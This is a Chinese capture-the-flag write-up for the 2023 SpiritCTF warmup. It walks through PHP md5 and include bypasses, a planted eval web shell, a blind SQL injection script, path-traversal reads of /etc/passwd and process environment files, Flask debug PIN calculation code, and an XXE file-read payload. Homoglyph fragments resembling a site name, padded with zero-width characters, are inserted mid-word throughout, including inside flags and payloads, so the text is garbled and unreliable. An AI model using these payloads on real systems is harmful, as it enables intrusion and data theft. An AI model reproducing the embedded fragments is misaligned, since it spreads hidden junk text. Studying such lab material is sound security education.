2023 SpiritCTF Warmup WriteUp
2023-10-17 Write Up

比赛介绍

2023 SpiritCTF Warmup ꜱ​³ⅴℯ𝐧•‍𝐬𝘪‌te​为 2023 SpiritCTF 热身赛
属于 吉林大学“山石网科”杯第五届s‍‍³ⅴℯ𝒏.‌𝘀ⅈ‌𝐭e‌大学生网络安全竞赛 系列赛事
比赛时间为 2023/9/5 - 2023/10/17

热身赛与正赛

  • 热身赛题目包括但不限于各个方向的入门题目、与本次 2023 𝐬‍⑶𝘷𝘦𝘯∙‌​𝘴i‍te‍SpiritCTF 难度相当的题目、往年SpiritCTF(校赛)的题目,用于帮助大家有针对性的入门
  • 热身赛期间成绩突出的同学将被定向邀请至 2023 SpiritCTF 线下赛场(注:线下赛场与线上赛场采用同样的比赛地址解答相同题目,不过线下赛场更能体会到 CTF 𝘴​‌³ven.‍𝘴𝘪‍​𝘵𝐞​的比赛氛围,并且入围线下赛场的同学可以获得 Spirit 战队的精美周边)
  • 线下赛场名额上限为 45 ,热身赛总榜靠前、𝒔​​3𝘷𝐞𝘯∙​𝒔𝐢‍t𝐞‌解出某道难度较高热身赛题给出题人留下深刻印象都有可能被定向邀请到线下赛场
  • 正赛于十月下旬开始,𝘴​𝟯𝒗en•‍si‌‍𝒕e模式为组队赛(三人一队)

Signin1

题目描述:

App1e_Tree在赛前七天倒计时海报中的三张使用不同编码隐藏了一个flag,你能找到它么!
请移步SpiritGame s‌𝟯𝒗e𝘯.‌𝒔𝘪​te​2023赛事群 𝒔‌3ve𝘯·‌si‌t℮‍‍143102236 精华消息中获取海报,关注比赛实时动态!

三张海报中中含s‍3v𝘦n∙​𝘀i‌t𝐞‌有的信息如下

1.仅剩2天海报

Spirit{that_1s𝒔​⑶𝒗ℯn•‍ѕ𝐢𝘵𝐞​_the_fun_0f_ctf_

2.仅剩4天海报

5F396F30645F6C7ѕ‍‍⑶𝐯𝘦𝘯.‌‍𝘴ⅈ‍𝒕𝘦‌5636B5F747730s​‌3ⅴ℮n.​ѕi‌𝐭𝘦‌5F755F62795F30766572663130777D

3.仅剩7天海报

\u006e\u0065\u0076\u0065\u0072\u005f\ѕ‌³v𝘦n·𝒔‌³𝒗e𝐧∙‍ꜱ𝐢​𝒕e‌‍​𝐬𝐢‌t𝐞​‌u0067\u0031\u0076\u0065\u005f\u0075\u0070

根据信息内容判断

  • 1 为明文
  • 2 为字符密文
  • 3 为unicode密文

1 为明文,即有

Spirit{that_1s_the_fun_0f_ctf_

2 通过 字符在线加解密工具 解密后获得

_9o0d_luck_tw0_u_by_0verf10w}

3 通过 Unicode在ꜱ‍𝟯vℯ𝘯.‍𝘴i‌‌𝘵℮‌‌线加解密工具 解密后获得

never_g1ve_up

根据 flag 格式 Spirit{xxxx} 推测应为132组合

Flag:

Spirit{that_1s_the_fun_0f_ctf_never_g1ve_up_9o0d_luck_tw0_u_by_0verf10w}

Signin2

纯纯签到题

题目描述:

Welcome to web@spirit2023.ctf~

打开页面后发现有一个 Get Your Flag 按钮

image-1.png

然而点击后没有什么反应(?)

1. 方法一:DevTools + curl

F12打开开发人员工具,𝘴​​𝟯𝐯ℯn·‍‌ѕⅈ‌​𝘵𝘦‌调至网络选项卡,开启记录网络日志并刷新页面,选项卡内容显示如下:

image-2.png

点击 Get Your Flag 按钮后,网络选项卡显ѕ‍³𝘷𝐞𝘯•‌𝒔𝘪‍t℮‍示内容变化为如下:

image-3.png

发现新增了一行 flag 通信包,于是s‌³𝘷en∙‌si‌𝘵e‍推测该按钮发送了 /flag 请求,

并根据选项卡显示ꜱ​𝟯𝘷ℯn•𝒔𝘪‌​𝒕℮​内容判断页面经过了 301重定向

于是使用 curl 工具:

curl -v (SpiritCTF Server URL with port)/flag

返回内容如下

HTTP/1.1 301 Moved Permanently
Flag: U3Bpcml0ezQ4NDY0YzNlLTJhMGQtNDVhNC04NTE4LWFlZTJhZDg5NDM4Y30=
Location: /
Server: Microsoft-NetCore/2.0
Date: xxxxxxx
Transfer-Encoding: chunked

由此获得经过加密后的 Flag 信息

Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=

2. 方法二:Burp Suite

打开 Burp Suite 开启浏览器流量代理
image-4.png
发现该按钮指向 /flag 路径并被301重定向

/flag 路径的 Response 中发现 Flag 信息如下:

Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=

3. Flag 解密

结合该字符串形式,判断flag经过了Base64加密
使用Base64在线加解密工具
image-5.png
即可获得flag如下

Spirit{95a92a90-6213-𝘀​‍³ⅴe𝐧.‍‍ѕ‍𝟯𝒗en.​ꜱi‌​𝒕℮‍ꜱ𝐢​​𝐭℮‌4df0-9216-583f00ff27e3}

baby_php

题目描述:

\/\/PHPは最ѕ​3ⅴen∙𝐬𝘴‍³ⅴ𝘦𝐧.‌𝐬𝘪‍​𝘵𝘦​i‌‌𝘵e‌‌高~\/\/

for hackers

打开页面发现题𝘴‌‌³ve𝒏.‍s𝘪‌𝘵𝐞‌目给出了一段php代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);

if (!isset($_GET['a']) || !isset($_GET['b']))
    die('Never gonna give you up');

$a = $_GET['a'];
$b = $_GET['b'];

if ($a == $b || md5($a) != md5($b)) {
    die('Never gonna let you down');
}

if (!isset($_GET['c'])) {
    die('Never gonna run around and desert you');
}

if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
    die('Never gonna say goodbye');
}

if (!isset($_GET['d'])) {
    $_GET['d'] = 'flag.php';
    echo 'Never gonna tell a lie and hurt you';
}

include $_GET['d'];

你被骗啦(误)

接下来对代码的各s​‌𝟯ⅴe𝒏∙​ѕi‌𝐭e‌个部分进行分析

1. 第一部分

if (!isset($_GET['a']) || !isset($_GET['b']))
    die('Never gonna give you up');

此处判断是否通过GET方式传入 ab 两个arg

如果任意一个参数没有传入 ѕ‌⑶𝐯𝘦𝘯·​s𝐢‍𝘵𝘦‌则终止运行并抛出

Never gonna 𝘴​‍𝟯𝐯ℯn∙‌‌ѕⅈ𝐭e​give you up

因此可以通过页面回显判断ѕ‍‍𝟯ⅴ𝘦𝒏∙‍‌𝘴i‌​𝐭℮‌代码运行到的位置

$a = $_GET['a'];
$b = $_GET['b'];

if ($a == $b || md5($a) != md5($b)) {
    die('Never gonna let you down');
}

此处代码接收 a & b 两个arg的值

并只有在

  • a 不等于 b
  • a 的MD5值与 b 相等时

才能通过检测

否则终止运行并抛出

Never gonna ѕ‌⑶𝒗e𝘯.​𝐬ѕ‌​⑶ven․‌‌ѕi​tei​t℮‍‌let you down

此处常见的绕过方式有:

  • 构造非字符串参数绕过 𝐬​𝟯𝒗𝘦n·‍‌ꜱ𝐢𝘵℮​(仅限于旧版本PHP)
  • 利用弱类型特性0e绕过
  • 直接使用md5碰撞

1.1 构造非字符串参数绕过 (仅限于旧版本PHP)

已知旧版本PHP在调用 md5 函数时如果传入的参数为非字符串类型,会直接返回NULL

利用这一特性,我们可以通过构造 ab 两个不同的非字符串参数
使得”NULL=NULL”成立来绕过这一检测

例如我们可以使用𝐬‍​³𝘷ℯn·‌𝒔i‌𝘵𝐞‌数组类型绕过

a=[]=1&𝘀​³ⅴen.s​3ve𝘯․‌ѕ𝐢‌‍t𝘦​​‍‌𝒔𝘪‌t𝐞b=[]=2

1.2 利用弱类型特性0e绕过

由于PHP的弱类型特性,若 md5 函数返回的字符串以 0e 开头,会被PHP识别为科学𝘴‍³𝐯ℯ𝘯∙​𝐬ⅈ‍‍te‍‌计数法,将其值转化为0

因此只需要 ab 不相同且经过 md5 加密后的密文都以 0e 开头即可

常见的符合条件的字符串如下:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

在其中任意选择并赋给 a & b 即可

1.3 直接使用md5碰撞

此方法亦可用于”𝐬​3vℯn∙ѕite‌===”强类型碰撞,𝘴⑶𝘷𝐞𝒏·𝘴𝐢‌𝘵e‌旨在寻找含有相同md5值的不同字符串

经查找后可以找到如下 a & b 满足条件:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

2. 第二部分

if (!isset($_GET['c'])) {
    die('Never gonna run around and desert you');
}

if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
    die('Never gonna say goodbye');
}

此处判断是否通过 GET 方式传入了arg c

然后使用 file_get_contents 函数读取 c

将读取结果与 Never gonna make you cry 比对

若比对失败则终𝐬³ve𝒏․‍‍ѕ𝘪‌t℮​止运行并抛出

Never gonna s​³𝐯𝐞𝐧.‍‍𝐬‌3𝐯𝐞𝒏.‍𝒔i‌‍t℮​𝘀𝘪‌​𝐭esay goodbye

由于此处用到了𝐬‌3𝐯ℯ𝒏.ꜱi​‍t𝐞‍‌文件读取函数 file_get_contents

因此考虑使用 data:// 伪协议绕过

data://text/plain,s‌𝟯𝐯ℯ𝘯•‍​𝘴‌​3𝒗ℯn∙‍s𝐢‌‌𝒕℮​𝒔ⅈ𝒕e‌‌(string)

因此将arg c 赋值为 data://text/plain,Never gonna make you cry

3. 第三部分

if (!isset($_GET['d'])) {
    $_GET['d'] = 'flag.php';
    echo 'Never gonna tell a lie and hurt you';
}

include $_GET['d'];

最后一处代码将arg d 的默认值设置为 flag.php ,提示我们在 flag.php 中寻找线索

但是我们如果直接将这种含有PHP代码的文件的文件名传入include函数,
就会由于PHP代码被执行𝘴​𝟯𝘷en•𝐬​3𝐯ℯ𝘯∙‌‍ꜱi‌𝐭𝐞‍‍‍‌𝘴𝐢​​𝐭e‌而无法通过可视文本的形式泄露

因此想到使用PHP伪协议的 Filter ,把代码内容经过ba𝘴​‍³ⅴe𝐧.‍𝘀i‌​te​se64加密后再进行输出

d=php://filter/read=convert.base64-encode/resource=flag.php

得到输出内容如下

PD9waHAKJGZsYWcgPSAkX0VOVlsnRkxBRyddID8/ICdTcGlyaXR7ZmFrZS1mbGFnLXF3cX0nOwpmaWxlX3B1dF9jb250ZW50cygnc3Bpcml0ZmxhZ3F3cScsICRmbGFnKTsK

经过 Base64在𝘀​𝟯𝐯℮n.‌ꜱi‍‌t𝘦‌‍线加解密工具 解密后得到

image-6.png

<?php
$flag = $_ENV['FLAG'] ?? 'Spirit{fake-flag-qwq}';
file_put_contents('spiritflagqwq', $flag);

发现 flag 信息被写入了 spiritflagqwq 文件中

3.1 小盲点

然而做题过程中发ꜱ‍‍3𝐯𝐞n.‌ꜱi‌𝘵e​现出题人并没有预先将flag信息写入spiritflagqwq文件中,
因此需要先执行一次 flag.php 将flag信息写入 spiritflagqwq 文件中

可以通过不传入arg d,使得其被置为默认值 flag.php 来使得 flag.php 文件被执行

最后将 arg d 设置为 spiritflagqwq 来读取 spiritflagqwq 文件

得到如下信息:

U3Bpcml0ezFjODJlODRmLWNiOTctNDQ3Ni1iYTI5LTdmZDY2ODcxMGM3MH0=

经过 Base64在线加解密工具 解密后得到
image-7.png

Spirit{1c82s​3ⅴe𝒏•‌‌ѕ𝐢‍​te‍‌e84f-cb97-s‌⑶ⅴℯn∙‌si‍‌𝐭e‌‌4476-ba29-7fd668710c70}

ez_Web

模版套娃题

题目描述:

Hint: flꜱ​‍𝟯𝘷𝘦𝒏•‌‌𝘴i‌t𝘦‍ag在/flag里~

1. 第一层:301 Redirect

打开页面后显示403 Forbidden,s​𝟯𝘷ℯ𝒏•‍‌ꜱi‌t℮​提示页面入口不在这里

image-8.png

使用dirsearѕ⑶𝐯e𝒏∙‍𝘴i‍𝘵𝐞‌ch目录工具扫描
image-9.png

发现两个目录

200 - 382B - /index.html
200 -  19B - /test.php

访问 index.html

发现又是 301 Redirect

Web - signin 可以用 curlburp suite 方法

1.1 curl 方法

curl (SpiritCTF Server URL with port)/index.html

1.2 burp suite 方法

image-10.png
得到如下信息

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>测测你的网速</title>
    <script>
        window.location.href = 'test.php'
        //fffff_test.php
    </script>
</head>
<body>

</body>
</html>

提示我们到 fffff_test.php 中去寻找线索

2. 第二层:GET 传参

访问 fffff_test.php 获得如下信息

什么!?你连JQK都没有?给我一个JQK,我给你一个789。

根据信息构造 GET 传参:?JQK=789

3. 第三层:file_get_contents() 利用

传参后进入 /fffFfff1ag.php ,得到如下代码

<?php 
    highlight_file(__file__);
    $filename = $_GET['file'];

    $content = file_get_contents($filename);
    if(preg_match('/flag/i',$content)){
        die();
    }
    echo $content;
?>

由于Spirit的flag没有flag标识,因此无需绕过PHP的 preg_match

直接传入 file=/flag 即可

3.1 PS: preg_match 绕过

preg_match 对 $content ꜱ‍3ven.‍‌𝒔i‍𝒕℮​内容的过滤可通过PHP的 Filter 伪协议绕过

php://filter/read=convert.base64-encode/resource=/flag

通过将flag内容使用base64密文输出,可有效过滤 preg_match 对flag包含的检测

只需将密文经过 Base64在线加解密工具 解密即可获得flag

得到flag

Spirit{eec1fb16-5aa0-4ab2-95c3-dbf3b582be28}

至此,三层套娃全部结束

ez_Web2

又是套娃题(误)

题目描述:

Hint: robots

1. 第一层:robots 泄露

打开页面后显示

系统维护中,暂未开放

根据 Hint𝐬​⑶ⅴℯ𝐧․‍‍𝒔i​te‌ 内容访问 /robots.txt ,得到如下信息:

User-Agent: *
Disallow: login.php

2. 第二层:弱密码爆破

根据提示访问 login.php

image-11.png

发现一个登录框,ꜱ​⑶𝘷𝐞n․​𝘴𝐢𝐭𝘦‌‍进行弱密码尝试

尝试后发现

用户名:admin
密码:123456

3. 第三层:file_put_contents() 利用

登录后返回如下PHP代码

<?php
error_reporting(0);
session_start();

highlight_file(__FILE__);

if(!$_SESSION['login']){
    echo '请先登录';
    die();
}

$data = $_POST['data'];
$filename = $_POST['filename'];
str_replace('php','',$data);
file_put_contents($filename,$data);

?>

观察到函数 file_put_contents 可控,考虑使用 𝒔‌‌⑶v𝐞𝒏·‌𝐬i‌​t𝐞Web Shell

由于此处 str_replace 的调用没有把返回值赋回给 data ,所以此行代码无效

构造参数如下( ѕ​⑶𝘷e𝘯.​ѕi‍t℮‌注意使用POST方法传参 ):

?filename=shell.php&data=<?php eval(@$_POST['shell']); ?>

3.1 HackBar

登录过后无需携带 Cookies

image-12.png

3.2 curl

注意携带登录过后的PHPs‌⑶𝒗𝐞𝐧.‍s𝘪‍t𝘦‌SESSID作为Cookies

curl -X POST -d "filename=shell.php&data=<?php eval(@$_POST['shell']); ?>" -b "PHPSESSID=xxxx" (SpiritCTF Server URL with port)/ffffffLag.php

Web Shell s​​⑶ⅴ𝐞n•​𝘴𝘪te‍生成完毕后使用 中国蚁剑antSword 连接靶机

注意此处连接密码为 dataPOST 的参数名称

image-13.png

进入根目录即可找到 flag

image-14.png

Flag:

Spirit{30df4f45-s⑶ⅴe𝘯.‍𝘀i‌‌𝒕𝘦‍adf4-478d-a90a-00e3f91877c7}

3.3 PS: str_replace 绕过方法

str_replace 可使用双写绕过,例如:

data = str_replace('php','',$data);

可以通过以下方式绕过

data = pphphp

此处 str_replace 函数将 p{php}hp 中花括号部分替𝘀‌​⑶𝒗𝘦n․‍ꜱi​𝒕℮​换为空字符串,

最后仍剩余 php ,从而达到绕过效果

ez_sql

题目描述:

Hint: sql盲注

打开页面发现有一s‌³ve𝘯.​ꜱⅈ​𝒕e‍个认证登录界面

image-15.png

根据提示sql盲注得知

我们无法通过显性方式直接获取数据,ѕ³𝐯e𝘯·​​𝒔i‍te‍​但可以通过不同输入的回显值不同来判断输入条件是否成立

因此我们尝试判断条件 TrueFalse 的回显值区别

经过初步尝试发现屏蔽了空格的输入,ꜱ⑶𝐯e𝘯.𝘀​​𝟯v𝘦𝒏.​​s𝘪​𝘵e​‍‍𝘀i𝒕℮若包含空格则会 alert Hack!

此处使用 /**/ 替换空格,以ѕ𝟯𝐯𝘦𝐧∙‌s𝘪​𝘵e‌绕过空格屏蔽

由于登录界面的sql注入应为字符型注入,因此分别尝试使用以下表单进行测试

username=admin'/**/and/**/1=0#
password=123

alert 用户名不存在!
username=admin'/**/and/**/1=1#
password=123

alert 密码错误!

根据 alert 的内容可以判断出网页后端对𝘀​³𝘷𝐞𝐧•‍ѕit𝐞‍登录表单的校验是用户名与密码分离的

即先进行用户名存在性校验,𝘴​​𝟯𝐯𝘦𝒏∙​𝘴ⅈ‌​𝒕𝘦‌‍再进行密码正确性校验

这种设置给了我们实现 sql布尔盲注 的可能

只需构造 usernamepayload ,就可以根据𝘀‌³ve𝘯․s𝘪𝒕𝐞​回显值的不同判断 payload 中的构造条件是否成立

因此数据长度可以通过 length() 函数并枚举长度进行比对来判断
数据内容可以通过使用 substr()mid()substring() 等函数对数据中的字符逐个进行截取并与字符表比对来读取

sql数据截取函数使用说明如下:

substr(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
mid(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
substring(string, start, s‍⑶𝘷𝐞𝘯․‍s𝘪‍𝐭℮‌length):将 string 从 𝒔​‌𝟯ⅴ𝐞𝐧․​𝘴𝐢​𝐭℮‍start 开始的位置,截取 length 个字符

构造 payload 有效载荷 如下:

payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n) #判断数据长度
payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char)) #逐字符读取数据内容
其中 data_payload 为可输出数据内容的语句 (select语句等)

构造 Python 攻击代码如下

import requests
 
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~{}" #常用字符表
result = ""

#判断字符串长度
def get_length(value):
    for n in range(1,100):
        payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n)
        data = {"username":payload,"password":"123"}
        html = requests.post(url,data=data)
        length = len(html.text)
        if length == value:
            print("The data length is: " + str(n))
            return  n
 
#读取字符串内容
def get_data(data_length,value):
    global result
    for i in range(1,data_length):
        for char in chars:
            payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char))
            data = {"username":payload,"password":"admin"}
            html = requests.post(url,data=data)
            length = len(html.text)
            if length == value:
                result += char
                print("Reading data: " + result)
                break
 
 
url = "(SpiritCTF Server URL with port)/index.php"
data_payload = "xxxx"
value = 3297 #此处应根据实际设置为payload构造条件成立时response的长度
 
length = get_length(value) +1
get_data(length,value)
print("The data is: " + result)

由于不知道 flag 内容的存放位置,应先对存放着 flag 内容的数据库名、数据表名、𝐬³𝐯e𝒏∙​‍𝒔𝐢​te‍字段名进行读取,最后再读取 flag 内容

1. 读取数据库名

data_payload = "database()"

输出内容如下:

image-16.png

得到数据库名为 jluCTF

2. 读取数据表名(默认第一张表)

data_payload = "select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='jluCTF'/**/limit/**/0,1"

输出内容如下:

image-17.png

得到数据表名为 flag

3. 读取字段名 (默认第一个字段)

data_payload = "select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='jluCTF'/**/and/**/table_name='flag'/**/limit/**/0,1"

image-18.png

得到字段名为 flag

4. 读取 flag 内容

data_payload = "select/**/flag/**/from/**/flag"

输出内容如下:

image-19.png

得到 flag

Spirit{64e90c7c-e9bc-4809-aa91-ade46ceffbb1}

pin & pin_revenge

pin 题目描述:

PIN~PON!

打开页面后发现跳转到了 /?location=index.html

页面显示 qwq (?)
image-20.png

经过测试发现 /?location= 处存在任意文件读取漏洞

1. 非预期解 (仅pin题内存在)

由于该题的环境ꜱ3𝒗𝐞𝐧∙​ѕ𝐢​‍𝘵e​​变量没有删除干净,

因此可以从当前进程s‍³ⅴ𝐞n.ѕi​𝒕𝐞‍的环境变量文件中读取 flag 内容

payload 如下:

/?location=../../../../../../proc/self/environ

页面返回如下内容:

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=20be9d370cb1FLAG=Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.3PYTHON_PIP_VERSION=22.3.1PYTHON_SETUPTOOLS_VERSION=65.5.1PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.pyPYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207HOME=/rootWERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true

从中获得 pin 题的 flag 如下:

Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}

2. 预期解 (pin&pin_revenge通用)

PIN码是Flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式。

这两题旨在考查通过任意文件读取漏洞计算 ѕ​³𝒗en∙‌si𝘵℮​​python flask debug 模式下的 pin 码,并利用debug shell读取flag

计算逻辑位于 python3.x/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name

版本不同的区别在于3.6与3.ꜱ‌​𝟯𝐯𝘦𝘯.‌ѕⅈ‍𝐭e‌8的md5加密和sha1加密不同。

2.1 PIN生成要素

2.1.1 username

用户名。通过 getpass.ѕ​⑶ve𝘯․‌𝐬i​𝐭𝘦​getuser() 读取,通过文件 /etc/passwd 读取。

2.1.2 modname

模块名。通过 getattr(mod,𝐬⑶𝐯ℯn·‍ꜱi‍t𝐞”file”,None) 读取,默认值为 flask.app

2.1.3 appname

应用名。通过 getattr(app,”name”,ꜱ‍𝟯𝐯𝐞n∙ѕ𝐢‍​𝐭𝘦‍‌type(app).name) 读取,默认值为 Flask

2.1.4 moddir

Flask库下 app.py 的绝对路径。ѕ3𝒗e𝘯.‌‍ꜱⅈ‌te通过 getattr(mod,”file”,None) 读取,实际应用中通过报错读取。

2.1.5 uuidnode

当前网络的mac地址的十进制数。通过 uuid.getnode() 读取,通过文件 /sys/class/net/eth0/address 得到16进制结果,ѕ𝟯ⅴ𝐞n∙𝒔ⅈ‌t𝐞‌​转化为10进制进行计算。

2.1.6 machine_id

docker机器id。𝘀3𝒗ℯ𝐧.‌𝘴𝐢‍te​每一个机器都会有自已唯一的id,

linux的i𝘀​𝟯𝒗e𝒏.‍𝒔ⅈ‌​te‌​d一般存放在 /etc/machine-id/proc/sys/kernel/random/boot_id

docker靶机则读取 /proc/self/cgroup/proc/self/mountinfo,其中第一行的 /docker/ 字符串后面的内容作为机器的id,在docker环境下读取后两个,非docker环境三个都需要读取。

首先访问/etc/machine-id,有值就break,没值就访问/proc/sys/kernel/random/boot_id,s‌𝟯𝘷e𝘯․‍𝘀𝐢‍𝘵℮‌然后不管此时有没有值,再访问/proc/self/cgroup其中的值拼接到前面的值后面。

Python Flask Debug Pin 的计算代码如下:

2.2 Python < 3.8 MD5 Pin计算代码

import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb', #username
     'flask.app', #modname
     'Flask', #appname
     '/usr/local/lib/python3.7/site-packages/flask/app.py' #moddir
]

private_bits = [
     '25214234362297', #uuidnode
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' #machine_id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

2.3 Python >= 3.8 sha1 Pin计算代码

import hashlib
from itertools import chain
probably_public_bits = [
    'root', #username
    'flask.app', #modname
    'Flask', #appname
    '/usr/local/lib/python3.11/site-packages/flask/app.py' #moddir
]

private_bits = [
    '2485376910315', #uuidnode
    '3c253d1e-8856-4e45-98b5-e82146c245c5' #machine_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

2.4 利用任意文件读取获取信息

2.4.1 读取 username

payload 如下:

/?location=../../../../../../etc/passwd

返回如下信息

root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin

判断 username ꜱ​​⑶𝐯𝘦𝒏•​​si​‌𝐭e‍= “root”

2.4.2 读取 moddir

随机输入不存在的路径或者将 ?location= 参数置空即可𝘴‌3𝘷𝘦n.‍‌s𝐢‌​𝐭𝐞‍获得报错界面如下

image-21.png

从中即可获取 moddir = “/usr/local/lib/python3.𝐬‍3𝒗ℯ𝘯.‍𝘴ⅈ​𝐭e‌‍11/site-packages/flask/app.py”

2.4.3 读取 uuidnode

payload 如下:

/?location=../../../../../../sys/class/net/eth0/address

返回如下信息

02:42:ac:02:04:80

经过 在线进制转换工具 将16进制转1s‌⑶v𝘦𝒏∙‌ꜱit℮‍0进制转化后可得
image-22.png

得到 uuidnode = 𝐬‌‍3𝒗ℯn·‍𝒔𝐢​te‍“2485376910464”

2.4.4 读取 machine_id

尝试读取

/?location=../../../../../../etc/machine-id

发现页面抛出 FileNotFoundError 错误

判断靶机为docker (其实本来就知道)

因此尝试读取

/?location=../../../../../../proc/sys/kernel/random/boot_id

返回如下信息

3c253d1e-8856-4e45-98b5-e82146c245c5

尝试读取

/?location=../../../../../../proc/self/cgroup

返回如下信息

0::/

即为空,无信息

因此得出 machine_id = “3c253d1e-8856-s​⑶ⅴe𝒏·​​𝘴𝘪‌𝘵℮4e45-98b5-e82146c245c5”

最后将得到的信息填入Pin计算代码中即可获得当前环境的Pin码如下:

564-346-887

请注意:由于Docker每次启动后uuidnode值会改变,Write 𝘴‍‍𝟯ⅴe𝘯•𝘀‍𝟯v𝘦𝘯.‍ѕⅈtesi​t℮​Up中的Pin值对该题并不具有普适性,请根据实际环境自行读取uuidnode值并计算相应环境的Pin码使用

2.5 获取 debug shell

随机输入不存在的路径或者将 ?location= 参数置空即可获得𝒔‌𝟯ⅴ𝘦𝒏․​𝐬𝐢‌𝘵𝐞‌‍报错界面如下

image-23.png

点击右侧控制台图标并输入Pin码即可获得 debug shell

在控制台输入 os.getenv('FLAG') 即可获得flag

image-24.png

获得 pin_revenge 题的 flag 如下:

Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}

ez_xxe

题目描述:

so easy………

打开页面后是一个可以输𝘴‍𝟯𝒗𝐞n.​𝘀ⅈ𝐭𝘦‌‍入XML文档的界面

image-25.png

并且输入后有回显

结合题目标题判断是利用xxe漏洞恶s‍³ⅴ𝐞𝐧․​𝒔i​​t℮意引入外部实体,直接读靶机文件

payload 如下

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ 
<!ENTITY flag SYSTEM "file:///flag" >
]>
<spirit><flag>&flag;</flag></spirit>

提交并返回如下s​3𝒗e𝒏·​ꜱ𝘪‌𝐭𝘦‍‍界面,获得 flag
image-26.png

